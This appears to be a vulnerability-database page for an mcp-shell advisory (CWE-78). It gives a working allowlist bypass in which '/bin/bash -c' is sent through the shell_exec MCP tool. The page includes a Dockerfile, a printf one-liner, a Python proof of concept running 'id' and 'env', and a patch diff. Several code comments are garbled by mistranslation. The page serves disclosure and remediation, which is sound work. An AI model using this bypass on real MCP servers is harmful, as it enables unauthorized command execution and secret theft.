Severity by source
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AV:L reflects stdio delivery channel; PR:N confirmed by advisory (no auth needed on default config); full C/I/A within container; S:U as container boundary limits scope change.
Primary rating from Vendor (https://github.com/sonirico/mcp-shell).
CVSS VectorVendor: https://github.com/sonirico/mcp-shell
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
3DescriptionCVE.org
Summary
mcp-shell ships a default Docker configuration (security.yaml) that includes /bin/bash in the allowed_executables allowlist. The command validator (security.go) only checks whether the first token of the supplied command matches an allowed executable; it does not inspect or reject shell command-mode flags such as -c. As a result, any MCP tool caller can send command=/bin/bash -c <arbitrary-command> to the shell_exec tool and execute commands that are not in the allowlist - including id, env, curl, wget, and any other binary present in the container. The bypass works with the default Docker image, requires no authentication, and requires no modifications to server configuration. Successful exploitation gives the attacker arbitrary OS command execution inside the container as mcpuser.
Details
mcp-shell implements a *secure mode* in which command execution is restricted to an explicit allowlist of executables defined in security.yaml. The Docker image ships this file with the following entry:
# security.yaml (line 29)
allowed_executables:
- "ls"
- ...
- "/bin/bash"
# Only allow if you trust the argumentsThe comment itself acknowledges the risk, but the shipped default does not enforce any argument-level restriction. The validation logic in security.go is responsible for enforcing secure mode:
// security.go:84-96
for _, allowed := range v.config.AllowedExecutables {
if v.matchesExecutable(executable, allowed) {
if err := v.checkBlockedPatternsAndCommands(command); err != nil {
return err
}
return nil
}
}executable is derived solely from parts[0] after splitting the input on whitespace (security.go:67). When the command is /bin/bash -c id, executable evaluates to /bin/bash, which matches the allowlist entry. The -c flag and subsequent arguments are passed to checkBlockedPatternsAndCommands, which only checks for shell metacharacters (|, &, ;, <, >, (, ), {, }, [, ], ` `, $, \, ", ') and a configurable list of blocked_commands/blocked_patterns - both of which default to empty arrays in the shipped configuration. The flag -c` does not match any blocked metacharacter, so the check passes.
The validated command then reaches the executor:
// executor.go:149-163
executable, args, err := e.parseCommand(command)
// ...
cmd = exec.CommandContext(ctx, executable, args...)parseCommand splits the command string, yielding executable="/bin/bash" and args=["-c", "id"]. exec.CommandContext is invoked directly - no shell is spawned by the executor itself - but /bin/bash -c id is equivalent to a shell invocation, executing id outside the allowlist.
Data flow (source → sink):
| Step | Location | Description |
|---|---|---|
| 1 | Dockerfile:55 | COPY security.yaml /etc/mcp-shell/security.yaml - bundles vulnerable config into image |
| 2 | Dockerfile:57 | ENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml - activates config by default |
| 3 | security.yaml:29 | /bin/bash registered in allowed_executables |
| 4 | main.go:84-102 | MCP tool shell_exec registered with required command parameter |
| 5 | handler.go:34 | command := request.RequireString("command") - attacker-controlled input received |
| 6 | handler.go:49 | h.validator.validateCommand(command) - validation called |
| 7 | security.go:67-96 | executable = parts[0] matches /bin/bash; -c not blocked; returns nil |
| 8 | handler.go:59 | Validated command forwarded to executor |
| 9 | executor.go:163 | exec.CommandContext(ctx, "/bin/bash", "-c", "id") - sink: arbitrary execution |
PoC
Prerequisites:
- Docker installed and accessible.
- Repository source code checked out (build context is the repository root).
python3available (for the automated PoC script).
Step 1 - Build the Docker image
docker build \
-f vuln-001/Dockerfile \
/path/to/mcp-shell-repo \
-t mcp-shell-vuln-001:latestStep 2 - Run the PoC script
python3 vuln-001/poc.py mcp-shell-vuln-001:latestThe script sends three MCP JSON-RPC requests over stdio:
initializehandshaketools/call shell_execwithcommand="/bin/bash -c id"- exploit payloadtools/call shell_execwithcommand="id"- control: direct invocation must be blocked
Expected output (exploit success):
[id=2] /bin/bash -c id response:
→ status='success', exit_code=0, stdout='uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)'
[+] PASS: uid= confirmed → /bin/bash -c via arbitrary command execution successful!
[+] control confirmed: 'id' direct execution blocked (allowlist behavior normal)
→ allowlist bypass /bin/bash -c only through the path occurs provenAlternatively, using raw printf (no Python required):
printf '%s\n' \
'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc","version":"0.0.1"}}}' \
'{"jsonrpc":"2.0","method":"notifications/initialized","params":{}}' \
'{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"shell_exec","arguments":{"command":"/bin/bash -c id","base64":false}}}' \
| docker run --rm -i mcp-shell-vuln-001:latestObserved MCP response:
{
"command": "/bin/bash -c id",
"execution_time": "3.854555ms",
"exit_code": 0,
"security_info": {"security_enabled": true, "working_dir": "/tmp", "timeout_applied": true},
"status": "success",
"stderr": "",
"stdout": "uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)"
}Remediation (patch guidance):
- Remove shell interpreters from the default
security.yamlallowlist:
--- a/security.yaml
+++ b/security.yaml
- - "/bin/bash"
# Only allow if you trust the arguments- Add argument-level validation in
security.goto block shell command-mode flags even when a shell interpreter is allowlisted:
--- a/security.go
+++ b/security.go
executable := parts[0]
+ args := parts[1:]
+
+ if isShellCommandMode(executable, args) {
+ return fmt.Errorf("shell command mode is not allowed in secure mode: %s", executable)
+ }
// Check if the executable is in the allowlist
for _, allowed := range v.config.AllowedExecutables {
...
}
+
+ func isShellCommandMode(executable string, args []string) bool {
+ base := filepath.Base(executable)
+ switch base {
+ case "sh", "bash", "dash", "ash", "zsh", "ksh":
+ for _, arg := range args {
+ if arg == "-c" || (strings.HasPrefix(arg, "-") && strings.Contains(arg, "c")) {
+ return true
+ }
+ }
+ }
+ return false
+ }Impact
This is an OS Command Injection vulnerability (CWE-78). The shell_exec MCP tool is designed to execute only pre-approved executables; the bypass allows an attacker to run arbitrary commands present in the container image (curl, wget, env, sed, grep, tar, etc. - all installed by the Dockerfile) under the identity of mcpuser (UID 1000).
Who is impacted:
- Any operator deploying the official Docker image without modifying the default
security.yamlis vulnerable immediately upon deployment. No custom configuration, no elevated privileges, and no prior authentication are required. - MCP clients that interact with a vulnerable
mcp-shellinstance - including automated AI agents, LLM orchestration platforms, and CI/CD pipelines - may be leveraged to exfiltrate secrets, tamper with files accessible tomcpuser, or pivot further within the container's network. - The
--network=noneflag used in the PoC demonstrates successful exploitation even with no network access; in production deployments with network access, the impact extends to data exfiltration and lateral movement.
Concrete consequences of exploitation:
- Confidentiality: Dump environment variables (
/bin/bash -c env), read files, or exfiltrate credentials visible tomcpuser. - Integrity: Write or modify files within the container's writable filesystem.
- Availability: Consume container resources or terminate processes.
Reproduction artifacts
Dockerfile
# VULN-001 PoC Dockerfile: Secure Mode Allowlist Bypass via /bin/bash -c
# build context: ../repo directory
# usage: docker build -f vuln-001/Dockerfile ../repo -t mcp-shell-vuln-001:latest
# Build stage
FROM golang:1.25-alpine AS builder
RUN apk add --no-cache git
WORKDIR /app
COPY go.mod go.sum ./
RUN go mod download
COPY *.go ./
ARG VERSION=vuln-001-poc
RUN CGO_ENABLED=0 GOOS=linux go build \
-ldflags "-X main.version=${VERSION} -s -w" \
-a -installsuffix cgo \
-o mcp-shell .
# Runtime stage
FROM alpine:3.22
RUN apk add --no-cache \
bash \
curl \
wget \
git \
make \
findutils \
grep \
sed \
gawk \
tar \
gzip \
unzip \
ca-certificates \
&& rm -rf /var/cache/apk/*
RUN addgroup -g 1000 mcpuser && \
adduser -D -s /bin/bash -u 1000 -G mcpuser mcpuser
RUN mkdir -p /tmp/mcp-workspace && \
chown mcpuser:mcpuser /tmp/mcp-workspace
RUN mkdir -p /etc/mcp-shell && \
chown mcpuser:mcpuser /etc/mcp-shell
COPY --from=builder /app/mcp-shell /usr/local/bin/mcp-shell
RUN chmod +x /usr/local/bin/mcp-shell
# Vulnerable default configuration: /bin/bash text allowed_executables text containsdone
COPY security.yaml /etc/mcp-shell/security.yaml
ENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml
ENV PATH="/usr/local/bin:${PATH}"
USER mcpuser
WORKDIR /tmp/mcp-workspace
ENTRYPOINT ["mcp-shell"]poc.py
#!/usr/bin/env python3
"""
VULN-001 PoC: Secure Mode Allowlist Bypass via /bin/bash -c
Vulnerability summary:
security.yamltext allowed_executablestext /bin/bash text registerbecomes text,
validateExecutableCommand (security.go:60-105)text parts[0]=/bin/bash only allowlist checkand
-c flagtext blocktext text. text /bin/bash -c id text verificationtext passedtext
executor.go:163 from exec.CommandContext(ctx, "/bin/bash", "-c", "id") text executebecomes
allowlisttext without arbitrary commandtext(id, env etc.)text executedonetext.
usage:
python3 poc.py [IMAGE_NAME]
default text: mcp-shell-vuln-001:latest
"""
import subprocess
import json
import sys
IMAGE = sys.argv[1] if len(sys.argv) > 1 else "mcp-shell-vuln-001:latest"
def make_msg(obj):
return json.dumps(obj, separators=(',', ':'))
# MCP JSON-RPC message whentext
MESSAGES = [
# 1. initialize handshake
make_msg({
"jsonrpc": "2.0", "id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {"name": "vuln-001-poc", "version": "0.0.1"}
}
}),
# 2. initialized text (response none)
make_msg({"jsonrpc": "2.0", "method": "notifications/initialized", "params": {}}),
# 3. vulnerability text: /bin/bash -c id
# id text allowlisttext textonly /bin/bash text because it exists verification passed → id execute
make_msg({
"jsonrpc": "2.0", "id": 2,
"method": "tools/call",
"params": {
"name": "shell_exec",
"arguments": {"command": "/bin/bash -c id", "base64": False}
}
}),
# 4. comparison: id directly execute → allowlisttext because it is missing blockbecomestext done
make_msg({
"jsonrpc": "2.0", "id": 3,
"method": "tools/call",
"params": {
"name": "shell_exec",
"arguments": {"command": "id", "base64": False}
}
}),
# 5. add evidence: env environment variable text (envtext allowlisttext none)
make_msg({
"jsonrpc": "2.0", "id": 4,
"method": "tools/call",
"params": {
"name": "shell_exec",
"arguments": {"command": "/bin/bash -c env", "base64": False}
}
}),
]
def extract_text(resp):
"""MCP tools/call responsefrom text contents extract"""
try:
content = resp.get("result", {}).get("content", [])
for item in content:
if item.get("type") == "text":
return item["text"]
except Exception:
pass
return None
def run_poc():
stdin_data = "\n".join(MESSAGES) + "\n"
print(f"[*] text: {IMAGE}")
print("[*] text: /bin/bash -c id")
print("[*] texttimes principle: validateExecutableCommandtext parts[0]=/bin/bash only allowlist check, -c textblock")
print()
try:
proc = subprocess.run(
["docker", "run", "--rm", "-i", "--network=none", IMAGE],
input=stdin_data.encode(),
capture_output=True,
timeout=30,
)
except subprocess.TimeoutExpired:
print("[-] error: container response timeout (30seconds)")
return False, "timeout"
except FileNotFoundError:
print("[-] error: docker commandtext text can none")
return False, "docker not found"
except Exception as e:
print(f"[-] error: {e}")
return False, str(e)
stdout = proc.stdout.decode(errors="replace")
stderr = proc.stderr.decode(errors="replace")
print("=== STDOUT (JSON-RPC response) ===")
print(stdout)
if stderr:
print("=== STDERR (server log, partial) ===")
print(stderr[:1500])
print()
# response parse
responses = {}
for line in stdout.splitlines():
line = line.strip()
if not line:
continue
try:
resp = json.loads(line)
msg_id = resp.get("id")
if msg_id is not None:
responses[msg_id] = resp
except json.JSONDecodeError:
pass
exploit_passed = False
exploit_evidence = ""
# [id=2] /bin/bash -c id result check (key point evidence)
if 2 in responses:
text = extract_text(responses[2])
if text:
print(f"[id=2] /bin/bash -c id response text: {text[:400]}")
try:
result = json.loads(text)
stdout_val = result.get("stdout", "")
status = result.get("status", "")
exit_code = result.get("exit_code", -1)
print(f" → status={status!r}, exit_code={exit_code}, stdout={stdout_val!r}")
if "uid=" in stdout_val and status == "success":
exploit_passed = True
exploit_evidence = (
f"command=/bin/bash -c id | status={status} | "
f"exit_code={exit_code} | stdout={stdout_val}"
)
print(f"\n[+] PASS: uid= check → /bin/bash -c text arbitrary command execute success!")
print(f"[+] Deterministic evidence: {exploit_evidence}")
except json.JSONDecodeError:
if "uid=" in text:
exploit_passed = True
exploit_evidence = text
print(f"[+] PASS: uid= confirmed (raw): {text[:200]}")
else:
print("[-] id=2 response none (secondstext failure or server error)")
# [id=3] id directly execute → block check (text)
if 3 in responses:
text = extract_text(responses[3]) or ""
resp_str = str(responses[3])
blocked = (
"not in allowed list" in text
or "not in allowed list" in resp_str
or "Security violation" in text
or "isError" in resp_str and "true" in resp_str.lower()
)
if blocked:
print(f"\n[+] text check: 'id' directly executetext blocked (allowlist behavior normal)")
print(f" → allowlist texttimestext /bin/bash -c pathfromonly occurdonetext proofdone")
else:
print(f"[*] 'id' directly result: {text[:200]}")
# [id=4] /bin/bash -c env add evidence
if 4 in responses:
text = extract_text(responses[4]) or ""
try:
result = json.loads(text)
stdout_val = result.get("stdout", "")
if "PATH=" in stdout_val or "HOME=" in stdout_val:
env_lines = stdout_val.splitlines()[:5]
print(f"\n[+] add evidence: /bin/bash -c env success (envtext allowlist textcontains)")
print(f" first 5lines: {chr(10).join(' ' + l for l in env_lines)}")
except Exception:
pass
return exploit_passed, exploit_evidence
if __name__ == "__main__":
passed, evidence = run_poc()
print()
if passed:
print("[+] vulnerability reproduction result: PASS")
sys.exit(0)
else:
print("[-] vulnerability reproduction result: FAIL")
sys.exit(1)Articles & Coverage 2
AnalysisAI
Arbitrary OS command execution in mcp-shell's default Docker image allows any MCP tool caller to bypass the secure-mode executable allowlist by supplying /bin/bash -c <payload> to the shell_exec tool, running commands as mcpuser (UID 1000) inside the container. The validator in security.go extracts only the first whitespace-delimited token as the executable, approves /bin/bash against the default allowlist, and passes the -c flag through the metacharacter check unchallenged because the default blocked_patterns array is empty. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires three concurrent conditions, all present in the default Docker image: (1) mcp-shell must be running in secure mode with `/bin/bash` (or another shell interpreter) present in `allowed_executables` in the loaded `security.yaml` - this is the shipped default; (2) `blocked_commands` and `blocked_patterns` must be empty arrays - this is also the shipped default, explicitly noted in the advisory; (3) the attacker must be able to send JSON-RPC messages to the container's stdin as a connected MCP client - no credentials or elevated privileges are required per the PR:N CVSS rating and advisory. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The vendor-assigned CVSS 3.1 score of 8.4 (AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) is internally consistent with the mechanics: AV:L reflects that the attack is delivered over the container's stdio pipe rather than a network socket, and PR:N reflects the advisory's explicit statement that no authentication or configuration change is required. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | Full exploit scenario with step-by-step reproduction available after sign-in. |
| Remediation | Upgrade to mcp-shell v0.6.0, which resolves the vulnerability by (1) removing shell interpreters from the built-in default allowlist entirely, (2) making secure mode the out-of-the-box default without requiring a config file, and (3) requiring affirmative opt-in via `MCP_SHELL_ALLOW_UNSAFE=true` to disable all validation. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, audit all systems running mcp-shell default Docker images and document which handle external input or expose MCP interfaces to untrusted sources. …
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Same weakness CWE-78 – OS Command Injection
View allSame technique Command Injection
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External POC / Exploit Code
Leaving vuln.today
EUVD-2026-65549
GHSA-3x77-wg38-92r3